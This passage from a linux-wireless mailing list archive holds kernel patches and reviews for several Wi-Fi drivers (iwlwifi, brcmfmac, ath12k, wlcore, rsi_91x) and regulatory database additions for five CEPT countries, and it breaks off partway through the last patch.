* Re: [syzbot] [wireless?] WARNING in cfg80211_chandef_create
From: Johannes Berg @ 2026-03-18 8:00 UTC (permalink / raw)
To: Lachlan Hodges, syzbot
Cc: linux-kernel, linux-wireless, netdev, syzkaller-bugs
In-Reply-To: <tffrshs5h76cfj3k6lelrx6lmm7qtc7hww7r554xtnhfnsw2ip@dqktqrq2k47q>
On Wed, 2026-03-18 at 11:53 +1100, Lachlan Hodges wrote:
> > HEAD commit: b84a0ebe421c Add linux-next specific files for 20260313
>
> I think this didn't have your fix already?
Indeed, looks like that tree got cut between your and my commits, even
though they less than eight hours apart :)
johannes
^ permalink raw reply
* Re: [PATCH v4] wifi: iwlwifi: pcie: optimize MSI-X interrupt affinity
From: Johannes Berg @ 2026-03-18 7:52 UTC (permalink / raw)
To: Adrián García Casado, Miri Korenblit
Cc: linux-wireless, linux-kernel, Miguel Ojeda
In-Reply-To: <20260317193252.13763-1-adriangarciacasado42@gmail.com>
On Tue, 2026-03-17 at 20:32 +0100, Adrián García Casado wrote:
> Balanced distribution: skip CPU0 for high-rate RSS queues to avoid contention with system housekeeping. Use a stateful last_cpu approach to ensure unique core assignment when skipping CPU0. This avoids mapping multiple queues to the same core.
You need to break lines ...
I tend to think you need a better reason to skip CPU0. Last time you
pretended it was actually going to be faster, now you pretend there's
contention, without ever really getting to any proof of that?
Also please read what I said before:
>> this is wrong since you really then should allocate one queue less,
>> rather than mapping two queues to the same core.
johannes
^ permalink raw reply
* Re: [PATCH 1/1] wifi: brcmfmac: silence warning for non-existent, optional firmware
From: Christian Hewitt @ 2026-03-18 7:42 UTC (permalink / raw)
To: Alexander Stein
Cc: Arend van Spriel, linux-wireless, brcm80211,
brcm80211-dev-list.pdl, linux-kernel
In-Reply-To: <20260317111202.1074675-1-alexander.stein@ew.tq-group.com>
> On 17 Mar 2026, at 3:12 pm, Alexander Stein <alexander.stein@ew.tq-group.com> wrote:
>
> The driver tries to load optional firmware files, specific to
> the actual board compatible. These might not exist resulting in a warning
> like this:
> brcmfmac mmc2:0001:1: Direct firmware load for brcm/brcmfmac4373-sdio.tq,imx93-tqma9352-mba93xxla-mini.bin failed with error -2
>
> Silence this by using firmware_request_nowait_nowarn() for all firmware
> loads which use brcmf_fw_request_done_alt_path() as callback. This one
> handles optional firmware files.
>
> Signed-off-by: Alexander Stein <alexander.stein@ew.tq-group.com>
On behalf of all distro maintainers receiving end-user issue reports
that wrongly finger-point to “missing firmware” as the cause of all
brcmfmac wifi problems:
Tested-by: Christian Hewitt <christianshewitt@gmail.com>
Before and After below:
VIM1S:~ # dmesg | grep brcmfmac
[ 12.687679] brcmfmac: F1 signature read @0x18000000=0x15294345
[ 12.727469] brcmfmac: brcmf_fw_alloc_request: using brcm/brcmfmac43456-sdio for chip BCM4345/9
[ 12.727947] brcmfmac mmc2:0001:1: Direct firmware load for brcm/brcmfmac43456-sdio.khadas,vim1s.bin failed with error -2
[ 12.813544] brcmfmac mmc2:0001:1: Direct firmware load for brcm/brcmfmac43456-sdio.clm_blob failed with error -2
[ 13.157373] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available (err=-2), device may have limited channels available
[ 13.157423] brcmfmac: brcmf_c_process_txcap_blob: no txcap_blob available (err=-2)
[ 13.159391] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM4345/9 wl0: Jun 16 2017 12:38:26 version 7.45.96.2 (66c4e21@sh-git) (r) FWID 01-1813af84
VIM1S:~ # dmesg | grep brcmfmac
[ 12.218764] brcmfmac: F1 signature read @0x18000000=0x15294345
[ 12.283612] brcmfmac: brcmf_fw_alloc_request: using brcm/brcmfmac43456-sdio for chip BCM4345/9
[ 12.382176] brcmfmac mmc2:0001:1: Direct firmware load for brcm/brcmfmac43456-sdio.clm_blob failed with error -2
[ 12.678015] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available (err=-2), device may have limited channels available
[ 12.678066] brcmfmac: brcmf_c_process_txcap_blob: no txcap_blob available (err=-2)
[ 12.680092] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM4345/9 wl0: Jun 16 2017 12:38:26 version 7.45.96.2 (66c4e21@sh-git) (r) FWID 01-1813af84
Is there any chance the same change can be done for the clm_blob and
txcap_blob error messages? (for the same reason). Other than for RPi
boards I’ve never seen these files available and used with any large
scale Linux distro and there are none in the upstream linux-firmware
repo; thus these files are only being packaged by specialist distros
or images targeting a specific or limited set of hardware devices. For
everyone else running a mainstream distro image these errors are just
log-noise, and while they are harmless and technically correct, end-
users constantly misinterpret them.
Christian
> ---
> .../broadcom/brcm80211/brcmfmac/firmware.c | 14 ++++++++------
> 1 file changed, 8 insertions(+), 6 deletions(-)
>
> diff --git a/drivers/net/wireless/broadcom/brcm80211/brcmfmac/firmware.c b/drivers/net/wireless/broadcom/brcm80211/brcmfmac/firmware.c
> index 4bacd83db052e..e84cec58470c5 100644
> --- a/drivers/net/wireless/broadcom/brcm80211/brcmfmac/firmware.c
> +++ b/drivers/net/wireless/broadcom/brcm80211/brcmfmac/firmware.c
> @@ -714,9 +714,10 @@ static void brcmf_fw_request_done_alt_path(const struct firmware *fw, void *ctx)
> if (!alt_path)
> goto fallback;
>
> - ret = request_firmware_nowait(THIS_MODULE, true, alt_path,
> - fwctx->dev, GFP_KERNEL, fwctx,
> - brcmf_fw_request_done_alt_path);
> + ret = firmware_request_nowait_nowarn(THIS_MODULE,
> + alt_path, fwctx->dev,
> + GFP_KERNEL, fwctx,
> + brcmf_fw_request_done_alt_path);
> kfree(alt_path);
>
> if (ret < 0)
> @@ -779,9 +780,10 @@ int brcmf_fw_get_firmwares(struct device *dev, struct brcmf_fw_request *req,
> fwctx->req->board_types[0]);
> if (alt_path) {
> fwctx->board_index++;
> - ret = request_firmware_nowait(THIS_MODULE, true, alt_path,
> - fwctx->dev, GFP_KERNEL, fwctx,
> - brcmf_fw_request_done_alt_path);
> + ret = firmware_request_nowait_nowarn(THIS_MODULE,
> + alt_path, fwctx->dev,
> + GFP_KERNEL, fwctx,
> + brcmf_fw_request_done_alt_path);
> kfree(alt_path);
> } else {
> ret = request_firmware_nowait(THIS_MODULE, true, first->path,
^ permalink raw reply
* [PATCH v2] wifi: ath12k: fix HE/EHT capability handling on big endian
From: Alexander Wilhelm @ 2026-03-18 7:37 UTC (permalink / raw)
To: Jeff Johnson; +Cc: linux-wireless, ath12k, linux-kernel
Currently the driver uses u32 data types for the HE/EHT capabilities in
CPU‑native order. However, the ieee80211.h header defines these fields as
u8 arrays. This causes the ieee80211 registration failure on big‑endian
platforms, as shown in the following log:
ath12k_pci 0001:01:00.0: BAR 0: assigned [mem 0xc00000000-0xc001fffff 64bit]
ath12k_pci 0001:01:00.0: MSI vectors: 1
ath12k_pci 0001:01:00.0: Hardware name: qcn9274 hw2.0
ath12k_pci 0001:01:00.0: qmi dma allocation failed (29360128 B type 1), will try later with small size
ath12k_pci 0001:01:00.0: memory type 10 not supported
ath12k_pci 0001:01:00.0: chip_id 0x0 chip_family 0xb board_id 0x1005 soc_id 0x401a2200
ath12k_pci 0001:01:00.0: fw_version 0x111300d6 fw_build_timestamp 2024-08-06 08:43 fw_build_id QC_IMAGE_VERSION_STRING=WLAN.WBE.1.1.1-00214-QCAHKSWPL_SILICONZ-1
ath12k_pci 0001:01:00.0: leaving PCI ASPM disabled to avoid MHI M2 problems
ath12k_pci 0001:01:00.0: Invalid module id 2
ath12k_pci 0001:01:00.0: failed to parse tlv -22
ath12k_pci 0001:01:00.0: ieee80211 registration failed: -22
ath12k_pci 0001:01:00.0: failed register the radio with mac80211: -22
ath12k_pci 0001:01:00.0: failed to create pdev core: -22
ath12k_pci 0001:01:00.0: qmi failed set mode request, mode: 4, err = -110
ath12k_pci 0001:01:00.0: qmi failed to send wlan mode off
Use the __le32 data type for the HE/EHT capabilities instead and avoid
swapping, so that both platform endiannesses are supported.
Signed-off-by: Alexander Wilhelm <alexander.wilhelm@westermo.com>
---
Changes in v2:
- Rebase on latest ath master
- Fix endianness in extra_mcs_supported bool in debugfs
- Link to v1: https://lore.kernel.org/r/20260317-fix-he-eht-capabilities-on-big-endian-v1-1-e7b937b32768@westermo.com
---
drivers/net/wireless/ath/ath12k/core.h | 8 ++---
drivers/net/wireless/ath/ath12k/debugfs.c | 4 +--
drivers/net/wireless/ath/ath12k/wmi.c | 58 +++++++++++++++----------------
drivers/net/wireless/ath/ath12k/wmi.h | 4 +--
4 files changed, 36 insertions(+), 38 deletions(-)
diff --git a/drivers/net/wireless/ath/ath12k/core.h b/drivers/net/wireless/ath/ath12k/core.h
index 59c193b24764..8481015dcda6 100644
--- a/drivers/net/wireless/ath/ath12k/core.h
+++ b/drivers/net/wireless/ath/ath12k/core.h
@@ -788,13 +788,13 @@ struct ath12k_band_cap {
u32 phy_id;
u32 max_bw_supported;
u32 ht_cap_info;
- u32 he_cap_info[2];
+ __le32 he_cap_info[2];
u32 he_mcs;
- u32 he_cap_phy_info[PSOC_HOST_MAX_PHY_SIZE];
+ __le32 he_cap_phy_info[PSOC_HOST_MAX_PHY_SIZE];
struct ath12k_wmi_ppe_threshold_arg he_ppet;
u16 he_6ghz_capa;
- u32 eht_cap_mac_info[WMI_MAX_EHTCAP_MAC_SIZE];
- u32 eht_cap_phy_info[WMI_MAX_EHTCAP_PHY_SIZE];
+ __le32 eht_cap_mac_info[WMI_MAX_EHTCAP_MAC_SIZE];
+ __le32 eht_cap_phy_info[WMI_MAX_EHTCAP_PHY_SIZE];
u32 eht_mcs_20_only;
u32 eht_mcs_80;
u32 eht_mcs_160;
diff --git a/drivers/net/wireless/ath/ath12k/debugfs.c b/drivers/net/wireless/ath/ath12k/debugfs.c
index 358031fa14eb..f71ac5853cda 100644
--- a/drivers/net/wireless/ath/ath12k/debugfs.c
+++ b/drivers/net/wireless/ath/ath12k/debugfs.c
@@ -410,8 +410,8 @@ static bool ath12k_he_supports_extra_mcs(struct ath12k *ar, int freq)
else
cap_band = &cap->band[NL80211_BAND_6GHZ];
- extra_mcs_supported = u32_get_bits(cap_band->he_cap_info[1],
- HE_EXTRA_MCS_SUPPORT);
+ extra_mcs_supported = le32_get_bits(cap_band->he_cap_info[1],
+ HE_EXTRA_MCS_SUPPORT);
return extra_mcs_supported;
}
diff --git a/drivers/net/wireless/ath/ath12k/wmi.c b/drivers/net/wireless/ath/ath12k/wmi.c
index 65a05a9520ff..f5cd1eb27685 100644
--- a/drivers/net/wireless/ath/ath12k/wmi.c
+++ b/drivers/net/wireless/ath/ath12k/wmi.c
@@ -487,12 +487,11 @@ ath12k_pull_mac_phy_cap_svc_ready_ext(struct ath12k_wmi_pdev *wmi_handle,
cap_band->phy_id = le32_to_cpu(mac_caps->phy_id);
cap_band->max_bw_supported = le32_to_cpu(mac_caps->max_bw_supported_2g);
cap_band->ht_cap_info = le32_to_cpu(mac_caps->ht_cap_info_2g);
- cap_band->he_cap_info[0] = le32_to_cpu(mac_caps->he_cap_info_2g);
- cap_band->he_cap_info[1] = le32_to_cpu(mac_caps->he_cap_info_2g_ext);
+ cap_band->he_cap_info[0] = mac_caps->he_cap_info_2g;
+ cap_band->he_cap_info[1] = mac_caps->he_cap_info_2g_ext;
cap_band->he_mcs = le32_to_cpu(mac_caps->he_supp_mcs_2g);
- for (i = 0; i < WMI_MAX_HECAP_PHY_SIZE; i++)
- cap_band->he_cap_phy_info[i] =
- le32_to_cpu(mac_caps->he_cap_phy_info_2g[i]);
+ memcpy(&cap_band->he_cap_phy_info, &mac_caps->he_cap_phy_info_2g,
+ sizeof(u32) * WMI_MAX_HECAP_PHY_SIZE);
cap_band->he_ppet.numss_m1 = le32_to_cpu(mac_caps->he_ppet2g.numss_m1);
cap_band->he_ppet.ru_bit_mask = le32_to_cpu(mac_caps->he_ppet2g.ru_info);
@@ -508,12 +507,11 @@ ath12k_pull_mac_phy_cap_svc_ready_ext(struct ath12k_wmi_pdev *wmi_handle,
cap_band->max_bw_supported =
le32_to_cpu(mac_caps->max_bw_supported_5g);
cap_band->ht_cap_info = le32_to_cpu(mac_caps->ht_cap_info_5g);
- cap_band->he_cap_info[0] = le32_to_cpu(mac_caps->he_cap_info_5g);
- cap_band->he_cap_info[1] = le32_to_cpu(mac_caps->he_cap_info_5g_ext);
+ cap_band->he_cap_info[0] = mac_caps->he_cap_info_5g;
+ cap_band->he_cap_info[1] = mac_caps->he_cap_info_5g_ext;
cap_band->he_mcs = le32_to_cpu(mac_caps->he_supp_mcs_5g);
- for (i = 0; i < WMI_MAX_HECAP_PHY_SIZE; i++)
- cap_band->he_cap_phy_info[i] =
- le32_to_cpu(mac_caps->he_cap_phy_info_5g[i]);
+ memcpy(&cap_band->he_cap_phy_info, &mac_caps->he_cap_phy_info_5g,
+ sizeof(u32) * WMI_MAX_HECAP_PHY_SIZE);
cap_band->he_ppet.numss_m1 = le32_to_cpu(mac_caps->he_ppet5g.numss_m1);
cap_band->he_ppet.ru_bit_mask = le32_to_cpu(mac_caps->he_ppet5g.ru_info);
@@ -526,12 +524,11 @@ ath12k_pull_mac_phy_cap_svc_ready_ext(struct ath12k_wmi_pdev *wmi_handle,
cap_band->max_bw_supported =
le32_to_cpu(mac_caps->max_bw_supported_5g);
cap_band->ht_cap_info = le32_to_cpu(mac_caps->ht_cap_info_5g);
- cap_band->he_cap_info[0] = le32_to_cpu(mac_caps->he_cap_info_5g);
- cap_band->he_cap_info[1] = le32_to_cpu(mac_caps->he_cap_info_5g_ext);
+ cap_band->he_cap_info[0] = mac_caps->he_cap_info_5g;
+ cap_band->he_cap_info[1] = mac_caps->he_cap_info_5g_ext;
cap_band->he_mcs = le32_to_cpu(mac_caps->he_supp_mcs_5g);
- for (i = 0; i < WMI_MAX_HECAP_PHY_SIZE; i++)
- cap_band->he_cap_phy_info[i] =
- le32_to_cpu(mac_caps->he_cap_phy_info_5g[i]);
+ memcpy(&cap_band->he_cap_phy_info, &mac_caps->he_cap_phy_info_5g,
+ sizeof(u32) * WMI_MAX_HECAP_PHY_SIZE);
cap_band->he_ppet.numss_m1 = le32_to_cpu(mac_caps->he_ppet5g.numss_m1);
cap_band->he_ppet.ru_bit_mask = le32_to_cpu(mac_caps->he_ppet5g.ru_info);
@@ -2226,14 +2223,13 @@ int ath12k_wmi_send_peer_assoc_cmd(struct ath12k *ar,
cmd->peer_phymode = cpu_to_le32(arg->peer_phymode);
/* Update 11ax capabilities */
- cmd->peer_he_cap_info = cpu_to_le32(arg->peer_he_cap_macinfo[0]);
- cmd->peer_he_cap_info_ext = cpu_to_le32(arg->peer_he_cap_macinfo[1]);
+ cmd->peer_he_cap_info = arg->peer_he_cap_macinfo[0];
+ cmd->peer_he_cap_info_ext = arg->peer_he_cap_macinfo[1];
cmd->peer_he_cap_info_internal = cpu_to_le32(arg->peer_he_cap_macinfo_internal);
cmd->peer_he_caps_6ghz = cpu_to_le32(arg->peer_he_caps_6ghz);
cmd->peer_he_ops = cpu_to_le32(arg->peer_he_ops);
- for (i = 0; i < WMI_MAX_HECAP_PHY_SIZE; i++)
- cmd->peer_he_cap_phy[i] =
- cpu_to_le32(arg->peer_he_cap_phyinfo[i]);
+ memcpy(cmd->peer_he_cap_phy, arg->peer_he_cap_phyinfo,
+ sizeof(u32) * WMI_MAX_HECAP_PHY_SIZE);
cmd->peer_ppet.numss_m1 = cpu_to_le32(arg->peer_ppet.numss_m1);
cmd->peer_ppet.ru_info = cpu_to_le32(arg->peer_ppet.ru_bit_mask);
for (i = 0; i < WMI_MAX_NUM_SS; i++)
@@ -5034,17 +5030,17 @@ static void ath12k_wmi_eht_caps_parse(struct ath12k_pdev *pdev, u32 band,
u8 i;
if (band == NL80211_BAND_6GHZ)
- support_320mhz = cap_band->eht_cap_phy_info[0] &
- IEEE80211_EHT_PHY_CAP0_320MHZ_IN_6GHZ;
+ support_320mhz = le32_to_cpu(cap_band->eht_cap_phy_info[0]) &
+ IEEE80211_EHT_PHY_CAP0_320MHZ_IN_6GHZ;
- for (i = 0; i < WMI_MAX_EHTCAP_MAC_SIZE; i++)
- cap_band->eht_cap_mac_info[i] = le32_to_cpu(cap_mac_info[i]);
+ memcpy(cap_band->eht_cap_mac_info, cap_mac_info,
+ sizeof(u32) * WMI_MAX_EHTCAP_MAC_SIZE);
- for (i = 0; i < WMI_MAX_EHTCAP_PHY_SIZE; i++)
- cap_band->eht_cap_phy_info[i] = le32_to_cpu(cap_phy_info[i]);
+ memcpy(cap_band->eht_cap_phy_info, cap_phy_info,
+ sizeof(u32) * WMI_MAX_EHTCAP_PHY_SIZE);
if (band == NL80211_BAND_6GHZ)
- cap_band->eht_cap_phy_info[0] |= support_320mhz;
+ cap_band->eht_cap_phy_info[0] |= cpu_to_le32(support_320mhz);
cap_band->eht_mcs_20_only = le32_to_cpu(supp_mcs[0]);
cap_band->eht_mcs_80 = le32_to_cpu(supp_mcs[1]);
@@ -5132,10 +5128,12 @@ static int ath12k_wmi_tlv_mac_phy_caps_ext(struct ath12k_base *ab, u16 tag,
if (ab->hw_params->single_pdev_only) {
if (caps->hw_mode_id == WMI_HOST_HW_MODE_SINGLE) {
- support_320mhz = le32_to_cpu(caps->eht_cap_phy_info_5ghz[0]) &
- IEEE80211_EHT_PHY_CAP0_320MHZ_IN_6GHZ;
+ support_320mhz =
+ le32_to_cpu(caps->eht_cap_phy_info_5ghz[0]) &
+ IEEE80211_EHT_PHY_CAP0_320MHZ_IN_6GHZ;
cap_band = &ab->pdevs[0].cap.band[NL80211_BAND_6GHZ];
- cap_band->eht_cap_phy_info[0] |= support_320mhz;
+ cap_band->eht_cap_phy_info[0] |=
+ cpu_to_le32(support_320mhz);
}
if (ab->wmi_ab.preferred_hw_mode != le32_to_cpu(caps->hw_mode_id))
diff --git a/drivers/net/wireless/ath/ath12k/wmi.h b/drivers/net/wireless/ath/ath12k/wmi.h
index 5ba9b7d3a888..ea680a1a5464 100644
--- a/drivers/net/wireless/ath/ath12k/wmi.h
+++ b/drivers/net/wireless/ath/ath12k/wmi.h
@@ -3911,11 +3911,11 @@ struct ath12k_wmi_peer_assoc_arg {
u8 peer_mac[ETH_ALEN];
bool he_flag;
- u32 peer_he_cap_macinfo[2];
+ __le32 peer_he_cap_macinfo[2];
u32 peer_he_cap_macinfo_internal;
u32 peer_he_caps_6ghz;
u32 peer_he_ops;
- u32 peer_he_cap_phyinfo[WMI_HOST_MAX_HECAP_PHY_SIZE];
+ __le32 peer_he_cap_phyinfo[WMI_HOST_MAX_HECAP_PHY_SIZE];
u32 peer_he_mcs_count;
u32 peer_he_rx_mcs_set[WMI_HOST_MAX_HE_RATE_SET];
u32 peer_he_tx_mcs_set[WMI_HOST_MAX_HE_RATE_SET];
---
base-commit: e77fa9aaf082d1774b205275c5bffac5a5d1dcb3
change-id: 20260317-fix-he-eht-capabilities-on-big-endian-d941c42f65e5
Best regards,
--
Alexander Wilhelm <alexander.wilhelm@westermo.com>
^ permalink raw reply related
* Re: [PATCH] wifi: ath12k: fix HE/EHT capability handling on big endian
From: Alexander Wilhelm @ 2026-03-18 7:15 UTC (permalink / raw)
To: Jeff Johnson; +Cc: Jeff Johnson, linux-wireless, ath12k, linux-kernel
In-Reply-To: <bd262372-9930-4abe-8917-fd037623ed01@oss.qualcomm.com>
On Tue, Mar 17, 2026 at 05:17:43PM -0700, Jeff Johnson wrote:
> On 3/17/2026 3:59 AM, Alexander Wilhelm wrote:
> > Currently the driver uses u32 data types for the HE/EHT capabilities in
> > CPU‑native order. However, the ieee80211.h header defines these fields as
> > u8 arrays. This causes the ieee80211 registration failure on big‑endian
> > platforms, as shown in the following log:
> >
> > ath12k_pci 0001:01:00.0: BAR 0: assigned [mem 0xc00000000-0xc001fffff 64bit]
> > ath12k_pci 0001:01:00.0: MSI vectors: 1
> > ath12k_pci 0001:01:00.0: Hardware name: qcn9274 hw2.0
> > ath12k_pci 0001:01:00.0: qmi dma allocation failed (29360128 B type 1), will try later with small size
> > ath12k_pci 0001:01:00.0: memory type 10 not supported
> > ath12k_pci 0001:01:00.0: chip_id 0x0 chip_family 0xb board_id 0x1005 soc_id 0x401a2200
> > ath12k_pci 0001:01:00.0: fw_version 0x111300d6 fw_build_timestamp 2024-08-06 08:43 fw_build_id QC_IMAGE_VERSION_STRING=WLAN.WBE.1.1.1-00214-QCAHKSWPL_SILICONZ-1
> > ath12k_pci 0001:01:00.0: leaving PCI ASPM disabled to avoid MHI M2 problems
> > ath12k_pci 0001:01:00.0: Invalid module id 2
> > ath12k_pci 0001:01:00.0: failed to parse tlv -22
> > ath12k_pci 0001:01:00.0: ieee80211 registration failed: -22
> > ath12k_pci 0001:01:00.0: failed register the radio with mac80211: -22
> > ath12k_pci 0001:01:00.0: failed to create pdev core: -22
> > ath12k_pci 0001:01:00.0: qmi failed set mode request, mode: 4, err = -110
> > ath12k_pci 0001:01:00.0: qmi failed to send wlan mode off
> >
> > Use the __le32 data type for the HE/EHT capabilities instead and avoid
> > swapping, so that both platform endiannesses are supported.
> >
> > Signed-off-by: Alexander Wilhelm <alexander.wilhelm@westermo.com>
>
> With this series applied I see with make W=1 C=1:
> drivers/net/wireless/ath/ath12k/debugfs.c:413:65: warning: incorrect type in argument 1 (different base types)
> drivers/net/wireless/ath/ath12k/debugfs.c:413:65: expected unsigned int [usertype] v
> drivers/net/wireless/ath/ath12k/debugfs.c:413:65: got restricted __le32
>
> From existing code:
> f5c90ff80b4c0 (Sowmiya Sree Elavalagan 2025-01-30 11:41:04 +0530 413) extra_mcs_supported = u32_get_bits(cap_band->he_cap_info[1],
Sorry, I had `ATH12K_DEBUGFS` disabled when I ran the sparse check. I’ll
fix this in the next version.
Best regards
Alexander Wilhelm
^ permalink raw reply
* [PATCH] wireless-regdb: Add regulatory info for CEPT countries FO, GI, IM, SM and VA listed by WiFi Alliance
From: Ping-Ke Shih @ 2026-03-18 6:48 UTC (permalink / raw)
To: wens; +Cc: linux-wireless, wireless-regdb
From: Ping-Ke Shih <pkshih@realtek.com>
In commit 5a8ced5ad313 ("wireless-regdb: Update regulatory info for CEPT
countries for 6GHz listed by WiFi Alliance"), the following are skipped as
they do not have corresponding entries in the database yet.
- Faroe Islands (FO)
- Gibraltar (GI)
- Isle of Man (IM)
- San Marino (SM)
- Holy See (Vatican City State) (VA)
Look up the CEPT decisions [2], and add entries along with decisions [3],
[4] and [5] for 2/5/6 GHz regulations.
The 2 GHz band by ECC Decision (11)05 [3], which the adoption of ERC
Recommendation 70-03 [6], the regulations and the frequency bands to be
used for Short Range Devices (SRDs) are included in specific annexes to
this Recommendation. By ERC Recommendation 70-03 annex 3 (WIDEBAND DATA
TRANSMISSION SYSTEMS):
* 2400-2483.5 MHz
- 100 mW
The 5 GHz band by ECC Decision (04)08 [4]:
* 5150-5250 MHz
- 200 mW
- Indoor use
* 5250-5350 MHz
- 200 mW (due to TPC required, -3dBm, 100 mW is adopted)
- DFS, TPC
- Indoor use
* 5470-5725 MHz
- 1 W (due to TPC required, -3dBm, 500 mW is adopted)
- DFS, TPC
- Indoor and outdoor use
The 6 GHz band by ECC Decision (20)01 [5]:
* LPI devices (adopted)
- 5945-6425 MHz
- Restricted to indoor use only
- Maximum mean e.i.r.p.: 23 dBm
- Maximum mean e.i.r.p. density: 10 dBm/MHz
* VLP devices
- 5945-6425 MHz
- Indoors and outdoors
- Maximum mean e.i.r.p.: 14 dBm
- Maximum mean e.i.r.p. density: 1 dBm/MHz
[1] https://www.wi-fi.org/regulations-enabling-6-ghz-wi-fi
[2] https://docdb.cept.org/document/category/ECC_Decisions?status=ACTIVE
[3] https://docdb.cept.org/download/1535
[4] https://docdb.cept.org/download/4501
[5] https://docdb.cept.org/download/4685
[6] https://docdb.cept.org/download/3700
Signed-off-by: Ping-Ke Shih <pkshih@realtek.com>
---
db.txt | 35 +++++++++++++++++++++++++++++++++++
1 file changed, 35 insertions(+)
diff --git a/db.txt b/db.txt
index d54ef78e0da8..e2afb145ede5 100644
--- a/db.txt
+++ b/db.txt
@@ -731,6 +731,13 @@ country FM: DFS-FCC
(5490 - 5730 @ 160), (24), DFS
(5735 - 5835 @ 80), (30)
+country FO: DFS-ETSI
+ (2402 - 2483.5 @ 40), (100 mW)
+ (5150 - 5250 @ 80), (200 mW), NO-OUTDOOR, AUTO-BW
+ (5250 - 5350 @ 80), (100 mW), DFS, NO-OUTDOOR, AUTO-BW
+ (5470 - 5725 @ 160), (500 mW), DFS
+ (5945 - 6425 @ 320), (23), NO-OUTDOOR
+
# FR as part of EU/CEPT accepted decisions 2005/513/EC (5GHz RLAN, EN 301 893)
# and 2006/771/EC (amended by 2008/432/EC, Short-Range Devices, EN 300 440)
# EU decision 2005/513/EC: https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:02005D0513-20070213
@@ -801,6 +808,13 @@ country GH: DFS-FCC
(5490 - 5730 @ 160), (24), DFS
(5735 - 5835 @ 80), (30)
+country GI: DFS-ETSI
+ (2402 - 2483.5 @ 40), (100 mW)
+ (5150 - 5250 @ 80), (200 mW), NO-OUTDOOR, AUTO-BW
+ (5250 - 5350 @ 80), (100 mW), DFS, NO-OUTDOOR, AUTO-BW
+ (5470 - 5725 @ 160), (500 mW), DFS
+ (5945 - 6425 @ 320), (23), NO-OUTDOOR
+
country GL: DFS-ETSI
(2402 - 2482 @ 40), (20)
(5170 - 5250 @ 80), (20), AUTO-BW, wmmrule=ETSI
@@ -976,6 +990,13 @@ country IL: DFS-ETSI
(5725 - 5875 @ 80), (25 mW), AUTO-BW
(5945 - 6425 @ 320), (200 mW), NO-OUTDOOR
+country IM: DFS-ETSI
+ (2402 - 2483.5 @ 40), (100 mW)
+ (5150 - 5250 @ 80), (200 mW), NO-OUTDOOR, AUTO-BW
+ (5250 - 5350 @ 80), (100 mW), DFS, NO-OUTDOOR, AUTO-BW
+ (5470 - 5725 @ 160), (500 mW), DFS
+ (5945 - 6425 @ 320), (23), NO-OUTDOOR
+
# Source:
# https://dot.gov.in/spectrummanagement/delicensing-24-24835-ghz-band-gsr-45-e-5150-5350-ghz-gsr-46-e-and-5725-5875-ghz
# https://dot.gov.in/spectrummanagement/license-exemption-5-ghz-gsr-1048e-dated-22102018
@@ -1855,6 +1876,13 @@ country SK: DFS-ETSI
# 60 GHz band channels 1-4 (ETSI EN 302 567)
(57000 - 66000 @ 2160), (40)
+country SM: DFS-ETSI
+ (2402 - 2483.5 @ 40), (100 mW)
+ (5150 - 5250 @ 80), (200 mW), NO-OUTDOOR, AUTO-BW
+ (5250 - 5350 @ 80), (100 mW), DFS, NO-OUTDOOR, AUTO-BW
+ (5470 - 5725 @ 160), (500 mW), DFS
+ (5945 - 6425 @ 320), (23), NO-OUTDOOR
+
# Source:
# Regulation N° 2004-005 ART/DG/DRC/D.Rég
country SN: DFS-FCC
@@ -2072,6 +2100,13 @@ country UZ: DFS-ETSI
(5170 - 5250 @ 80), (20), AUTO-BW
(5250 - 5330 @ 80), (20), DFS, AUTO-BW
+country VA: DFS-ETSI
+ (2402 - 2483.5 @ 40), (100 mW)
+ (5150 - 5250 @ 80), (200 mW), NO-OUTDOOR, AUTO-BW
+ (5250 - 5350 @ 80), (100 mW), DFS, NO-OUTDOOR, AUTO-BW
+ (5470 - 5725 @ 160), (500 mW), DFS
+ (5945 - 6425 @ 320), (23), NO-OUTDOOR
+
# Source:
# http://www.ntrc.vc/regulations/Jun_2006_Spectrum_Managment_Regulations.pdf
country VC: DFS-ETSI
--
2.25.1
^ permalink raw reply related
* [PATCH] wifi: wlcore: Return -ENOMEM instead of -EAGAIN if there is not enough headroom
From: Guenter Roeck @ 2026-03-18 6:46 UTC (permalink / raw)
To: Johannes Berg; +Cc: linux-wireless, linux-kernel, Guenter Roeck, Peter Astrand
Since upstream commit e75665dd0968 ("wifi: wlcore: ensure skb headroom
before skb_push"), wl1271_tx_allocate() and with it
wl1271_prepare_tx_frame() returns -EAGAIN if pskb_expand_head() fails.
However, in wlcore_tx_work_locked(), a return value of -EAGAIN from
wl1271_prepare_tx_frame() is interpreted as the aggregation buffer being
full. This causes the code to flush the buffer, put the skb back at the
head of the queue, and immediately retry the same skb in a tight while
loop.
Because wlcore_tx_work_locked() holds wl->mutex, and the retry happens
immediately with GFP_ATOMIC, this will result in an infinite loop and a
CPU soft lockup. Return -ENOMEM instead so the packet is dropped and
the loop terminates.
The problem was found by an experimental code review agent based on
gemini-3.1-pro while reviewing backports into v6.18.y.
Assisted-by: Gemini:gemini-3.1-pro
Fixes: e75665dd0968 ("wifi: wlcore: ensure skb headroom before skb_push")
Cc: Peter Astrand <astrand@lysator.liu.se>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
drivers/net/wireless/ti/wlcore/tx.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/net/wireless/ti/wlcore/tx.c b/drivers/net/wireless/ti/wlcore/tx.c
index 6241866d39df..75cfbcfb7626 100644
--- a/drivers/net/wireless/ti/wlcore/tx.c
+++ b/drivers/net/wireless/ti/wlcore/tx.c
@@ -210,7 +210,7 @@ static int wl1271_tx_allocate(struct wl1271 *wl, struct wl12xx_vif *wlvif,
if (skb_headroom(skb) < (total_len - skb->len) &&
pskb_expand_head(skb, (total_len - skb->len), 0, GFP_ATOMIC)) {
wl1271_free_tx_id(wl, id);
- return -EAGAIN;
+ return -ENOMEM;
}
desc = skb_push(skb, total_len - skb->len);
--
2.45.2
^ permalink raw reply related
* [PATCH v2] wifi: rsi_91x_usb: do not pause rfkill polling when stopping mac80211
From: Ville Nummela @ 2026-03-18 6:10 UTC (permalink / raw)
To: linux-wireless
Removing rsi_91x USB adapter could cause rtnetlink to lock up.
When rsi_mac80211_stop is called, wiphy_lock is locked. Call to
wiphy_rfkill_stop_polling would wait until the work queue has
